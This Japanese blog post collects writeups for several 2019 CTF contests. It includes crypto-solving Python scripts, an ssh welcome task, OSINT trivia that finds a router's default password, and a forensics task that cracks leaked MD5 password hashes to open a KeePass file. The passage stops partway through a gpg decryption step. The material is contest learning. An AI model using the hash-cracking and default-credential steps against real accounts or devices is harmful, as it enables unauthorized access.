SECCON 2019 Online CTF Writeup

この大会は2019/10/19 15:00(JST)~2019/10/20 15:00(JST)に開催されました。
今回もチームで参戦。結果は 4934点で799チーム中13位でした。
自分で解けた問題をWriteupとして書いておきます。

coffee_break (crypto)

暗号化処理の概要は以下の通り。

・key1でencrypt関数実行→enc1
・key2を0x00でパディングした鍵でenc1(パディング)をAES-ECB暗号化

鍵が分かっているので、enc1まで復号するのは簡単にできる。encryt関数は少々複雑だが、1文字ずつ暗号化しているので、ブルートフォースで元の平文を求める。

from Crypto.Cipher import AES
import base64

def encrypt(key, text):
    s = ''
    for i in range(len(text)):
        s += chr((((ord(text[i]) - 0x20) + (ord(key[i % len(key)]) - 0x20)) % (0x7e - 0x20 + 1)) + 0x20)
    return s

def unpad(s):
    return s[:-ord(s[-1])]

key1 = "SECCON"
key2 = "seccon2019"

enc = 'FyRyZNBO2MG6ncd3hEkC/yeYKUseI/CxYoZiIeV2fe/Jmtwx+WbWmU1gtMX9m905'
cipher = AES.new(key2 + chr(0x00) * (16 - (len(key2) % 16)), AES.MODE_ECB)

enc1 = unpad(cipher.decrypt(base64.b64decode(enc)))

flag = ''
for i in range(len(enc1)):
    for code in range(32, 127):
        try_flag = flag + chr(code)
        try_enc = encrypt(key1, try_flag)
        if try_enc[i] == enc1[i]:
            flag += chr(code)
            break

print flag
SECCON{Success_Decryption_Yeah_Yeah_SECCON}

Square CTF 2019 Writeup

この大会は2019/10/11 4:00(JST)~2019/10/17 4:00(JST)に開催されました。
今回もチームで参戦。結果は 2050点で223チーム中40位でした。
自分で解けた問題をWriteupとして書いておきます。

Decode me (snake oil 150)

pycと、pngの暗号化ファイルが添付されている。まずEasy Python Decompilerでpycをデコンパイルする。

# Embedded file name: ./encoder.py
import base64
import string
import sys
from random import shuffle

def encode(f, inp):
    s = string.printable
    init = lambda : (list(s), [])
    bag, buf = init()
    for x in inp:
        if x not in s:
            continue
        while True:
            r = bag[0]
            bag.remove(r)
            diff = (ord(x) - ord(r) + len(s)) % len(s)
            if diff == 0 or len(bag) == 0:
                shuffle(buf)
                f.write(''.join(buf))
                f.write('\x00')
                bag, buf = init()
                shuffle(bag)
            else:
                break

        buf.extend(r * (diff - 1))
        f.write(r)

    shuffle(buf)
    f.write(''.join(buf))


if __name__ == '__main__':
    with open(sys.argv[1], 'rb') as r:
        w = open(sys.argv[1] + '.enc', 'wb')
        b64 = base64.b64encode(r.read())
        encode(w, b64)

スクリプト処理の概要は以下の通り。

・base64エンコードした文字列をencodeする。
・encode処理
 ・bagはprintableの各文字の配列(初期化)
 ・bufはから配列(初期化)
 ・base64エンコードした各文字に対して、以下を実行
  ・r = bag[0]
  ・bagからrを削除
  ・diff = (ord(x) - ord(r) + len(s)) % len(s)
  ・diffが0 またはbagの長さが0の場合
   ・bufをシャッフル
   ・bufの結合文字列をファイル書き込み
   ・\x00をファイル書き込み
   ・bag, bufを初期化
   ・bagをシャッフル
  ・diffが0でなくbagの長さが0でない場合
   ループから抜ける
  ・r * (diff - 1)をbufに追加
  ・rをファイル書き込み
 ・bufをシャッフル
 ・bufの結合文字列を書き込み

復号はまず\x00区切りで考える。bagはシャッフルされるが、そのリストで使われた文字は後ろで複数の文字として現れる。そして使われた文字は削除されるので、どこまでがbugでどこからがbufかは区別できる。
あとは逆算すれば復号できる。

import string

s = string.printable
b64 = string.letters + string.digits + '+/='

def split_list_and_data(block):
    for i in range(len(s)):
        lst = block[:i]
        data = block[i:]
        err = False
        for c in s:
            if c in data and c not in lst:
                err = True
                break
        if err == False:
            return lst, data

def decrypt(lst, data):
    dec = ''
    for c in lst:
        diff = data.count(c) + 1
        code = diff + ord(c)
        if chr(code) not in b64 and code - len(s) > 0:
            code -= len(s)
        elif chr(code) not in b64 and code - len(s) <= 0:
            code += len(s)
        dec += chr(code)
    return dec

with open('decodeme.png.enc', 'rb') as f:
    enc = f.read()

blocks = enc.split('\x00')

flag = ''
for block in blocks:
    lst, data = split_list_and_data(block)
    flag += decrypt(lst, data)

with open('decodeme.png', 'wb') as f:
   f.write(flag.decode('base64'))

復号したPNG画像にフラグが書いてある。
f:id:satou-y:20191022073414p:plain

flag-6f38426c5963729d

Go cipher (go, not web 1000)

鍵は24バイトで、そのmd5が暗号化データの先頭32バイトに記載される。story4の暗号の先頭32バイトがflagの暗号の先頭32バイトと同じなので、同じ鍵になっている。xのシフトから1バイトごとの可能性のある鍵を絞る。またyとzのXORの組み合わせまでは考慮する必要がないので、yとzのXORを一つのパラメータとして、ブルートフォースして鍵を絞る。

def get_join_info(list1, list2, idx1, idx2):
    for l1 in list1:
        bin_l1 = bin(l1[0])[2:].zfill(8)
        for l2 in list2:
            bin_l2 = bin(l2[0])[2:].zfill(8)
            if bin_l1[:7] == bin_l2[1:]:
                print '%d: %s -> %d: %s' % (idx1, str(l1), idx2, str(l2))

with open('story4.txt', 'rb') as f:
    pt = f.read()

with open('story4.txt.enc', 'rb') as f:
    ct = f.read()

h = ct[:32]
ct = ct[32:].decode('hex')

key_list = []
for j in range(64):
    if j < 12:
       round = 4
    else:
       round = 3
    keys = []
    for i in range(round):
        key = []
        for x in range(256):
            for yz in range(256):
                code = ((ord(pt[i * 64 + j]) - x) % 256) ^ yz
                if code == ord(ct[i * 64 + j]):
                    key.append((x, yz))
        keys.append(key)

    if j < 12:
        key = set(keys[0]) & set(keys[1]) & set(keys[2]) & set(keys[3])
    else:
        key = set(keys[0]) & set(keys[1]) & set(keys[2])
    key_list.append(list(key))

for i in range(63):
    get_join_info(key_list[i], key_list[i+1], i, i+1)

実行結果は以下の通り。

0: (52, 176) -> 1: (26, 97)
0: (52, 176) -> 1: (154, 225)
1: (26, 97) -> 2: (141, 195)
1: (26, 97) -> 2: (13, 67)
2: (141, 195) -> 3: (198, 134)
2: (141, 195) -> 3: (70, 6)
3: (198, 134) -> 4: (99, 12)
3: (198, 134) -> 4: (227, 140)
4: (99, 12) -> 5: (49, 153)
4: (99, 12) -> 5: (177, 25)
4: (227, 140) -> 5: (113, 89)
4: (227, 140) -> 5: (241, 217)
5: (113, 89) -> 6: (56, 19)
5: (113, 89) -> 6: (184, 147)
5: (177, 25) -> 6: (216, 179)
5: (177, 25) -> 6: (88, 51)
6: (88, 51) -> 7: (44, 103)
6: (88, 51) -> 7: (172, 231)
7: (44, 103) -> 8: (150, 207)
7: (44, 103) -> 8: (22, 79)
8: (150, 207) -> 9: (203, 30)
8: (150, 207) -> 9: (75, 158)
9: (75, 158) -> 10: (165, 61)
9: (75, 158) -> 10: (37, 189)
10: (165, 61) -> 11: (82, 251)
10: (165, 61) -> 11: (210, 123)
10: (37, 189) -> 11: (146, 59)
10: (37, 189) -> 11: (18, 187)
11: (210, 123) -> 12: (105, 118)
11: (210, 123) -> 12: (233, 246)
12: (233, 246) -> 13: (244, 108)
12: (233, 246) -> 13: (116, 236)
13: (116, 236) -> 14: (58, 217)
13: (116, 236) -> 14: (186, 89)
13: (117, 237) -> 14: (58, 217)
13: (117, 237) -> 14: (186, 89)
14: (58, 217) -> 15: (157, 51)
14: (58, 217) -> 15: (29, 179)
14: (186, 89) -> 15: (221, 115)
14: (186, 89) -> 15: (93, 243)
15: (157, 51) -> 16: (206, 38)
15: (157, 51) -> 16: (78, 166)
15: (29, 179) -> 16: (14, 230)
15: (29, 179) -> 16: (142, 102)
16: (14, 230) -> 17: (7, 140)
16: (14, 230) -> 17: (135, 12)
16: (142, 102) -> 17: (199, 76)
16: (142, 102) -> 17: (71, 204)
17: (199, 76) -> 18: (99, 217)
17: (199, 76) -> 18: (227, 89)
17: (71, 204) -> 18: (35, 153)
17: (71, 204) -> 18: (163, 25)
17: (7, 140) -> 18: (3, 185)
17: (7, 140) -> 18: (131, 57)
17: (135, 12) -> 18: (67, 249)
17: (135, 12) -> 18: (195, 121)
18: (35, 153) -> 19: (145, 179)
18: (35, 153) -> 19: (17, 51)
19: (17, 51) -> 20: (136, 102)
19: (17, 51) -> 20: (8, 230)
20: (136, 102) -> 21: (196, 204)
20: (136, 102) -> 21: (68, 76)
21: (196, 204) -> 22: (226, 152)
21: (196, 204) -> 22: (98, 24)
22: (226, 152) -> 23: (241, 177)
22: (226, 152) -> 23: (113, 49)
23: (113, 49) -> 24: (56, 98)
23: (113, 49) -> 24: (184, 226)
23: (114, 48) -> 24: (185, 227)
23: (114, 48) -> 24: (57, 99)
24: (56, 98) -> 25: (28, 197)
24: (56, 98) -> 25: (156, 69)
24: (57, 99) -> 25: (28, 197)
24: (57, 99) -> 25: (156, 69)
25: (28, 197) -> 26: (14, 138)
25: (28, 197) -> 26: (142, 10)
26: (16, 136) -> 27: (136, 20)
26: (16, 136) -> 27: (8, 148)
26: (144, 8) -> 27: (200, 84)
26: (144, 8) -> 27: (72, 212)
26: (141, 11) -> 27: (198, 86)
26: (141, 11) -> 27: (70, 214)
26: (15, 137) -> 27: (135, 21)
26: (15, 137) -> 27: (7, 149)
26: (14, 138) -> 27: (135, 21)
26: (14, 138) -> 27: (7, 149)
26: (142, 10) -> 27: (71, 213)
26: (142, 10) -> 27: (199, 85)
26: (143, 9) -> 27: (71, 213)
26: (143, 9) -> 27: (199, 85)
26: (13, 139) -> 27: (6, 150)
26: (13, 139) -> 27: (134, 22)
27: (71, 213) -> 28: (35, 203)
27: (71, 213) -> 28: (163, 75)
27: (22, 166) -> 28: (139, 83)
27: (22, 166) -> 28: (11, 211)
27: (87, 229) -> 28: (43, 179)
27: (87, 229) -> 28: (171, 51)
27: (230, 118) -> 28: (243, 251)
27: (230, 118) -> 28: (115, 123)
27: (23, 165) -> 28: (139, 83)
27: (23, 165) -> 28: (11, 211)
27: (118, 6) -> 28: (59, 163)
27: (118, 6) -> 28: (187, 35)
27: (199, 85) -> 28: (227, 11)
27: (199, 85) -> 28: (99, 139)
27: (6, 150) -> 28: (3, 235)
27: (6, 150) -> 28: (131, 107)
27: (198, 86) -> 28: (227, 11)
27: (198, 86) -> 28: (99, 139)
27: (151, 37) -> 28: (203, 19)
27: (151, 37) -> 28: (75, 147)
27: (183, 69) -> 28: (219, 3)
27: (183, 69) -> 28: (91, 131)
27: (70, 214) -> 28: (35, 203)
27: (70, 214) -> 28: (163, 75)
27: (102, 246) -> 28: (179, 59)
27: (102, 246) -> 28: (51, 187)
27: (247, 133) -> 28: (251, 227)
27: (247, 133) -> 28: (123, 99)
27: (39, 181) -> 28: (147, 91)
27: (39, 181) -> 28: (19, 219)
27: (215, 101) -> 28: (107, 115)
27: (215, 101) -> 28: (235, 243)
27: (38, 182) -> 28: (147, 91)
27: (38, 182) -> 28: (19, 219)
27: (135, 21) -> 28: (195, 43)
27: (135, 21) -> 28: (67, 171)
27: (150, 38) -> 28: (203, 19)
27: (150, 38) -> 28: (75, 147)
27: (167, 53) -> 28: (83, 155)
27: (167, 53) -> 28: (211, 27)
27: (214, 102) -> 28: (107, 115)
27: (214, 102) -> 28: (235, 243)
27: (231, 117) -> 28: (243, 251)
27: (231, 117) -> 28: (115, 123)
27: (182, 70) -> 28: (219, 3)
27: (182, 70) -> 28: (91, 131)
27: (55, 197) -> 28: (27, 195)
27: (55, 197) -> 28: (155, 67)
27: (7, 149) -> 28: (3, 235)
27: (7, 149) -> 28: (131, 107)
27: (246, 134) -> 28: (251, 227)
27: (246, 134) -> 28: (123, 99)
27: (134, 22) -> 28: (195, 43)
27: (134, 22) -> 28: (67, 171)
27: (119, 5) -> 28: (59, 163)
27: (119, 5) -> 28: (187, 35)
27: (86, 230) -> 28: (43, 179)
27: (86, 230) -> 28: (171, 51)
27: (166, 54) -> 28: (83, 155)
27: (166, 54) -> 28: (211, 27)
27: (103, 245) -> 28: (179, 59)
27: (103, 245) -> 28: (51, 187)
27: (54, 198) -> 28: (27, 195)
27: (54, 198) -> 28: (155, 67)
28: (195, 43) -> 29: (225, 215)
28: (195, 43) -> 29: (97, 87)
28: (67, 171) -> 29: (161, 151)
28: (67, 171) -> 29: (33, 23)
29: (161, 151) -> 30: (208, 142)
29: (161, 151) -> 30: (80, 14)
29: (97, 87) -> 30: (176, 174)
29: (97, 87) -> 30: (48, 46)
30: (176, 174) -> 31: (216, 92)
30: (176, 174) -> 31: (88, 220)
31: (216, 92) -> 32: (108, 56)
31: (216, 92) -> 32: (236, 184)
32: (108, 56) -> 33: (182, 49)
32: (108, 56) -> 33: (54, 177)
32: (236, 184) -> 33: (246, 241)
32: (236, 184) -> 33: (118, 113)
33: (118, 113) -> 34: (59, 227)
33: (118, 113) -> 34: (187, 99)
33: (182, 49) -> 34: (219, 67)
33: (182, 49) -> 34: (91, 195)
34: (59, 227) -> 35: (157, 199)
34: (59, 227) -> 35: (29, 71)
35: (157, 199) -> 36: (78, 142)
35: (157, 199) -> 36: (206, 14)
35: (29, 71) -> 36: (142, 78)
35: (29, 71) -> 36: (14, 206)
36: (78, 142) -> 37: (167, 157)
36: (78, 142) -> 37: (39, 29)
36: (206, 14) -> 37: (231, 221)
36: (206, 14) -> 37: (103, 93)
37: (231, 221) -> 38: (115, 27)
37: (231, 221) -> 38: (243, 155)
37: (103, 93) -> 38: (51, 219)
37: (103, 93) -> 38: (179, 91)
37: (167, 157) -> 38: (211, 123)
37: (167, 157) -> 38: (83, 251)
37: (39, 29) -> 38: (19, 187)
37: (39, 29) -> 38: (147, 59)
38: (19, 187) -> 39: (137, 183)
38: (19, 187) -> 39: (9, 55)
38: (115, 27) -> 39: (57, 103)
38: (115, 27) -> 39: (185, 231)
38: (147, 59) -> 39: (201, 247)
38: (147, 59) -> 39: (73, 119)
38: (51, 219) -> 39: (153, 135)
38: (51, 219) -> 39: (25, 7)
38: (211, 123) -> 39: (233, 215)
38: (211, 123) -> 39: (105, 87)
38: (179, 91) -> 39: (89, 71)
38: (179, 91) -> 39: (217, 199)
38: (243, 155) -> 39: (121, 167)
38: (243, 155) -> 39: (249, 39)
38: (83, 251) -> 39: (169, 151)
38: (83, 251) -> 39: (41, 23)
39: (201, 247) -> 40: (100, 47)
39: (201, 247) -> 40: (228, 175)
39: (233, 215) -> 40: (244, 95)
39: (233, 215) -> 40: (116, 223)
39: (105, 87) -> 40: (180, 159)
39: (105, 87) -> 40: (52, 31)
39: (169, 151) -> 40: (84, 63)
39: (169, 151) -> 40: (212, 191)
39: (73, 119) -> 40: (36, 111)
39: (73, 119) -> 40: (164, 239)
39: (137, 183) -> 40: (196, 143)
39: (137, 183) -> 40: (68, 15)
39: (9, 55) -> 40: (132, 207)
39: (9, 55) -> 40: (4, 79)
39: (41, 23) -> 40: (148, 255)
39: (41, 23) -> 40: (20, 127)
40: (196, 143) -> 41: (98, 207)
40: (196, 143) -> 41: (226, 79)
40: (164, 239) -> 41: (210, 95)
40: (164, 239) -> 41: (82, 223)
41: (210, 95) -> 42: (233, 254)
41: (210, 95) -> 42: (105, 126)
41: (82, 223) -> 42: (41, 62)
41: (82, 223) -> 42: (169, 190)
42: (105, 126) -> 43: (52, 221)
42: (105, 126) -> 43: (180, 93)
42: (169, 190) -> 43: (84, 253)
42: (169, 190) -> 43: (212, 125)
43: (84, 253) -> 44: (42, 58)
43: (84, 253) -> 44: (170, 186)
43: (212, 125) -> 44: (234, 250)
43: (212, 125) -> 44: (106, 122)
44: (234, 250) -> 45: (245, 245)
44: (234, 250) -> 45: (117, 117)
45: (245, 245) -> 46: (122, 235)
45: (245, 245) -> 46: (250, 107)
45: (117, 117) -> 46: (58, 43)
45: (117, 117) -> 46: (186, 171)
46: (122, 235) -> 47: (189, 214)
46: (122, 235) -> 47: (61, 86)
46: (58, 43) -> 47: (29, 54)
46: (58, 43) -> 47: (157, 182)
46: (250, 107) -> 47: (253, 22)
46: (250, 107) -> 47: (125, 150)
46: (186, 171) -> 47: (93, 118)
46: (186, 171) -> 47: (221, 246)
47: (189, 214) -> 48: (94, 45)
47: (189, 214) -> 48: (222, 173)
47: (125, 150) -> 48: (62, 13)
47: (125, 150) -> 48: (190, 141)
48: (222, 173) -> 49: (239, 91)
48: (222, 173) -> 49: (111, 219)
49: (239, 91) -> 50: (247, 54)
49: (239, 91) -> 50: (119, 182)
49: (111, 219) -> 50: (55, 118)
49: (111, 219) -> 50: (183, 246)
50: (247, 54) -> 51: (123, 172)
50: (247, 54) -> 51: (251, 44)
50: (119, 182) -> 51: (59, 108)
50: (119, 182) -> 51: (187, 236)
50: (55, 118) -> 51: (155, 140)
50: (55, 118) -> 51: (27, 12)
50: (183, 246) -> 51: (91, 76)
50: (183, 246) -> 51: (219, 204)
51: (59, 108) -> 52: (157, 89)
51: (59, 108) -> 52: (29, 217)
51: (251, 44) -> 52: (253, 249)
51: (251, 44) -> 52: (125, 121)
52: (30, 216) -> 53: (15, 179)
52: (30, 216) -> 53: (143, 51)
52: (157, 89) -> 53: (78, 242)
52: (157, 89) -> 53: (206, 114)
52: (29, 217) -> 53: (14, 178)
52: (29, 217) -> 53: (142, 50)
52: (159, 91) -> 53: (79, 243)
52: (159, 91) -> 53: (207, 115)
52: (158, 88) -> 53: (79, 243)
52: (158, 88) -> 53: (207, 115)
52: (31, 219) -> 53: (15, 179)
52: (31, 219) -> 53: (143, 51)
53: (14, 178) -> 54: (135, 229)
53: (14, 178) -> 54: (7, 101)
53: (142, 50) -> 54: (71, 37)
53: (142, 50) -> 54: (199, 165)
53: (15, 179) -> 54: (135, 229)
53: (15, 179) -> 54: (7, 101)
53: (143, 51) -> 54: (71, 37)
53: (143, 51) -> 54: (199, 165)
54: (71, 37) -> 55: (163, 107)
54: (71, 37) -> 55: (35, 235)
54: (7, 101) -> 55: (131, 75)
54: (7, 101) -> 55: (3, 203)
55: (3, 203) -> 56: (129, 151)
55: (3, 203) -> 56: (1, 23)
56: (129, 151) -> 57: (64, 47)
56: (129, 151) -> 57: (192, 175)
56: (125, 147) -> 57: (62, 45)
56: (125, 147) -> 57: (190, 173)
57: (64, 47) -> 58: (160, 222)
57: (64, 47) -> 58: (32, 94)
57: (65, 46) -> 58: (160, 222)
57: (65, 46) -> 58: (32, 94)
58: (32, 94) -> 59: (16, 61)
58: (32, 94) -> 59: (144, 189)
59: (144, 189) -> 60: (72, 123)
59: (144, 189) -> 60: (200, 251)
59: (145, 188) -> 60: (72, 123)
59: (145, 188) -> 60: (200, 251)
60: (72, 123) -> 61: (36, 118)
60: (72, 123) -> 61: (164, 246)
61: (169, 243) -> 62: (212, 238)
61: (169, 243) -> 62: (84, 110)
61: (164, 246) -> 62: (210, 236)
61: (164, 246) -> 62: (82, 108)
61: (165, 247) -> 62: (210, 236)
61: (165, 247) -> 62: (82, 108)
61: (168, 242) -> 62: (212, 238)
61: (168, 242) -> 62: (84, 110)
62: (210, 236) -> 63: (233, 88)
62: (210, 236) -> 63: (105, 216)
62: (178, 204) -> 63: (217, 72)
62: (178, 204) -> 63: (89, 200)

このことから0~63まで一貫してつながるものを探す。

0: (52, 176) -> 1: (26, 97)
1: (26, 97) -> 2: (141, 195)
2: (141, 195) -> 3: (198, 134)
3: (198, 134) -> 4: (99, 12)
4: (99, 12) -> 5: (177, 25)
5: (177, 25) -> 6: (88, 51)
6: (88, 51) -> 7: (44, 103)
7: (44, 103) -> 8: (150, 207)
8: (150, 207) -> 9: (75, 158)
9: (75, 158) -> 10: (165, 61)
10: (165, 61) -> 11: (210, 123)
11: (210, 123) -> 12: (233, 246)
12: (233, 246) -> 13: (116, 236)
13: (116, 236) -> 14: (58, 217)
14: (58, 217) -> 15: (29, 179)
15: (29, 179) -> 16: (142, 102)
16: (142, 102) -> 17: (71, 204)
17: (71, 204) -> 18: (35, 153)
18: (35, 153) -> 19: (17, 51)
19: (17, 51) -> 20: (136, 102)
20: (136, 102) -> 21: (196, 204)
21: (196, 204) -> 22: (226, 152)
22: (226, 152) -> 23: (113, 49)
23: (113, 49) -> 24: (56, 98)
24: (56, 98) -> 25: (28, 197)
25: (28, 197) -> 26: (14, 138)
26: (14, 138) -> 27: (135, 21)
27: (135, 21) -> 28: (195, 43)
28: (195, 43) -> 29: (97, 87)
29: (97, 87) -> 30: (176, 174)
30: (176, 174) -> 31: (216, 92)
31: (216, 92) -> 32: (236, 184)
32: (236, 184) -> 33: (118, 113)
33: (118, 113) -> 34: (59, 227)
34: (59, 227) -> 35: (157, 199)
35: (157, 199) -> 36: (78, 142)
36: (78, 142) -> 37: (39, 29)
37: (39, 29) -> 38: (147, 59)
38: (147, 59) -> 39: (73, 119)
39: (73, 119) -> 40: (164, 239)
40: (164, 239) -> 41: (82, 223)
41: (82, 223) -> 42: (169, 190)
42: (169, 190) -> 43: (212, 125)
43: (212, 125) -> 44: (234, 250)
44: (234, 250) -> 45: (245, 245)
45: (245, 245) -> 46: (122, 235)
46: (122, 235) -> 47: (189, 214)
47: (189, 214) -> 48: (222, 173)
48: (222, 173) -> 49: (239, 91)
49: (239, 91) -> 50: (119, 182)
50: (119, 182) -> 51: (59, 108)
51: (59, 108) -> 52: (29, 217)
52: (29, 217) -> 53: (14, 178)
53: (14, 178) -> 54: (7, 101)
54: (7, 101) -> 55: (3, 203)
55: (3, 203) -> 56: (129, 151)
56: (129, 151) -> 57: (64, 47)
57: (64, 47) -> 58: (32, 94)
58: (32, 94) -> 59: (144, 189)
59: (144, 189) -> 60: (72, 123)
60: (72, 123) -> 61: (164, 246)
61: (164, 246) -> 62: (210, 236)

結果は上記の通りだが、62バイト目から63バイト目の関係を1つに絞れなく、以下のどちらかである。

62: (210, 236) -> 63: (233, 88)
62: (210, 236) -> 63: (105, 216)

右シフトなので、56バイト目までで全貌が分かり、割り出すことが可能である。そのことを考慮して、flagの方を復号する。

with open('flag.txt.enc', 'rb') as f:
    ct = f.read()

h = ct[:32]
ct = ct[32:].decode('hex')

xs = [52, 26, 141, 198, 99, 177, 88, 44, 150, 75, 165, 210, 233, 116, 58, 29, 
    142, 71, 35, 17, 136, 196, 226, 113, 56, 28, 14, 135, 195, 97, 176, 216, 
    236, 118, 59, 157, 78, 39, 147, 73, 164, 82, 169, 212, 234, 245, 122, 189, 
    222, 239, 119, 59, 29, 14, 7, 3, 129, 64, 32, 144, 72, 164, 210]

yzs = [176, 97, 195, 134, 12, 25, 51, 103, 207, 158, 61, 123, 246, 236, 217, 
    179, 102, 204, 153, 51, 102, 204, 152, 49, 98, 197, 138, 21, 43, 87, 174, 
    92, 184, 113, 227, 199, 142, 29, 59, 119, 239, 223, 190, 125, 250, 245, 
    235, 214, 173, 91, 182, 108, 217, 178, 101, 203, 151, 47, 94, 189, 123, 
    246]

last_xyz = {233: 88, 105: 216}

bin_all_x = ''
init = True
for x in xs:
    bin_x = bin(x)[2:].zfill(8)
    if init:
        init = False
        bin_all_x += bin_x
    else:
        bin_all_x = bin_x[0] + bin_all_x
    if len(bin_all_x) == 64:
        break

bin_all_x2 = bin_all_x * 2
for i in range(64):
    val = int(bin_all_x2[120-i:128-i], 2)
    if i != 63:
        assert val == xs[i]
    else:
        xs.append(val)
        yzs.append(last_xyz[val])

flag = ''
for i in range(len(ct)):
    code = ((ord(ct[i]) ^ yzs[i]) + xs[i]) % 256
    flag += chr(code)

print flag

復号結果は以下の通り。

Yes, you did it! flag-742CF8ED6A2BF55807B14719
flag-742CF8ED6A2BF55807B14719

HITCON CTF 2019 Quals Writeup

この大会は2019/10/12 11:00(JST)~2019/10/14 11:00(JST)に開催されました。
今回もチームで参戦。結果は1440点で662チーム中47位でした。
Welcome問題しか解けていませんが、
自分で解けた問題をWriteupとして書いておきます。

Welcome (welcome)

sshで接続すると、viの画面になるので、抜けると、フラグが表示された。

$ ssh welcome@52.68.122.76
The authenticity of host '52.68.122.76 (52.68.122.76)' can't be established.
ECDSA key fingerprint is SHA256:tyMrlKbDsFPOJTzt4NyWXaFr8s6nJmOj9hWyAyDegLA.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '52.68.122.76' (ECDSA) to the list of known hosts.
welcome@52.68.122.76's password: 
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-1051-aws x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sat Oct 12 02:02:16 UTC 2019

  System load:  0.59              Processes:           205
  Usage of /:   24.0% of 7.69GB   Users logged in:     2
  Memory usage: 6%                IP address for eth0: 172.31.23.249
  Swap usage:   0%

 * Kata Containers are now fully integrated in Charmed Kubernetes 1.16!
   Yes, charms take the Krazy out of K8s Kata Kluster Konstruction.

     https://ubuntu.com/kubernetes/docs/release-notes

3 packages can be updated.
0 updates are security updates.



The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Sat Oct 12 02:02:13 2019 from 106.154.93.42


~                                                                               
~                                                                               
~                                                                               
~                                                                               
~                              VIM - Vi IMproved                                
~                                                                               
~                               version 8.0.1453                                
~                           by Bram Moolenaar et al.                            
~           Modified by pkg-vim-maintainers@lists.alioth.debian.org             
~                 Vim is open source and freely distributable                   
~                                                                               
~                        Help poor children in Uganda!                          
~                type  :help iccf<Enter>       for information                  
~                                                                               
~                type  :q<Enter>               to exit                          
~                type  :help<Enter>  or  <F1>  for on-line help                 
~                type  :help version8<Enter>   for version info                 
~                                                                               
~                                                                               
~                                                                               
~                                                                               
~                                                                               
hitcon{Exit Vim and enter HITCON CTF 2019!}
Connection to 52.68.122.76 closed.
hitcon{Exit Vim and enter HITCON CTF 2019!}

Syskron Security CTF Writeup

この大会は2019/10/9 7:00(JST)~2019/10/14 7:00(JST)に開催されました。
今回もチームで参戦。結果は4131点の満点で584チーム中29位でした。
自分で解けた問題をWriteupとして書いておきます。

History lesson in malware (Trivia 10)

ここで言っているマルウェアはStuxnetのこと。https://techtarget.itmedia.co.jp/tt/news/1705/09/news03.htmlなどに載っている。

{cve-2010-2568}

Making OPC UA secure (Trivia 10)

OPC UAUA Securityのご紹介の資料からSecurityモードがわかる。

https://www.jpcert.or.jp/ics/2011/20110210-fujii-sama.pdf
{none-sign-signandencrypt}

Using an OPC UA service (Trivia 10)

OPC UAUA Securityのご紹介の資料からサービスがわかる。

https://www.jpcert.or.jp/ics/2011/20110210-fujii-sama.pdf

暗号化するのはSecureチャネルのサービス。

{securechannel}

Insider attack 1 (Secret 1)

このジャンルの問題を解くのを了承するだけ。

{ok}

Industrial sightseeing tour 1 (OSINT 100)

写真に"KOH-I-NOOR HARDTMUTH"と書いてあるのが見える。文房具店らしい。その場所を調べる。

Ceske Budejovice
{CeskeBudejovice}

Access the device! (OSINT 200)

見えている文字(ETH, MRX)で検索すると、MRX3 LTE という製品が見つかる。"MRX3 LTE" default password で検索すると、マニュアルが見つかる。

http://www.insys-icom.cz/bausteine.net/f/10803/QIG_en_INSYS_MRX_LTE_190125.pdf?fd=0

これにデフォルトのユーザ名、パスワードが書いてある。

{insys-icom}

An e-mail and a link (Fun 100)

問題に記載のYouTubeのページのコメントにやたら"no reason"と書いてある。

{noreason}

The pasted leak (Forensics 700)

https://pastebin.com/6U36KmG0にアクセスすると、以下の内容がpasteされている。

traciduke:3a7a5871998e43741d09571f779f18d9
uwilliams:f67793a860600a2e73f7cb58ed3c9f25
diazrhonda:21fd63743deefd2380305ba5dc3932a0
chendana:472eccb32d0d9419903587934b2fc68a
melaniecarr:516373b9c689d6dd28c62e245c58c035
thompsonsheri:7ad71e2f104c6e670888bbf59ada4d15
dennis40:466df7524db6a9270135162d7df1bbb3
nfrye:b1201c10488c081de2a423390514a8d3
torresmaria:d39a6996e054f90a507a812e8cb88067
nfrederick:4316dee282545d285ff2d4e0fa777698

https://hashkiller.co.uk/Cracker/MD5でクラックする。

3a7a5871998e43741d09571f779f18d9 [No Match]
f67793a860600a2e73f7cb58ed3c9f25 [No Match]
21fd63743deefd2380305ba5dc3932a0 [No Match]
472eccb32d0d9419903587934b2fc68a [No Match]
516373b9c689d6dd28c62e245c58c035 [No Match]
7ad71e2f104c6e670888bbf59ada4d15 [No Match]
466df7524db6a9270135162d7df1bbb3 MD5 pa$$2019
b1201c10488c081de2a423390514a8d3 [No Match]
d39a6996e054f90a507a812e8cb88067 [No Match]
4316dee282545d285ff2d4e0fa777698 [No Match]

KeePassで添付のkdbxを開き、Master Passwordとしてpa$$2019を指定する。パスワードが通り、内容を見ることができた。
f:id:satou-y:20191020165347p:plain
important-noteを見ると、URLが書いてある。

https://0bin.net/paste/8OroFXcfz9P-+uN9#UJiJ2F7SsuvS3zgxzI00vw8rehyoPT0+CdShZmgN8L6

ここにアクセスすると、フラグが書いてあった。
f:id:satou-y:20191020165422p:plain

{n3v3r_r3cycl3_y0ur_53cr37_p455w0rd5}

Schlamperei (Crypto 200)

setup_customerID_9721.zipはパスワードがかかっているが、"9721"で解凍できた。
展開されたファイル群の中にsessionkey_2fishecb.txt.gpgがあるので、復号してみる。
まず71062c43B022BE72_public-key.txtは秘密鍵なので、インポートする。

$ gpg --import 71062c43B022BE72_public-key.txt
gpg: 鍵B022BE72: 公開鍵"MYF4N74571CM4CH1N3C0rP (MFMC)"をインポートしました
gpg: 鍵B022BE72: 秘密鍵をインポートしました
gpg: 鍵B022BE72:"MYF4N74571CM4CH1N3C0rP (MFMC)"変更なし
gpg: 処理数の合計: 2
gpg:               インポート: 1  (RSA: 1)
gpg:              変更なし: 1
gpg:       秘密鍵の読み込み: 1
gpg:   秘密鍵のインポート: 1
$ gpg --output sessionkey_2fishecb.txt --decrypt sessionkey_2fishecb.txt.gpg

次のユーザの秘密鍵のロックを解除するには
パスフレーズがいります:"MYF4N74571CM4CH1N3C0rP (MFMC)"
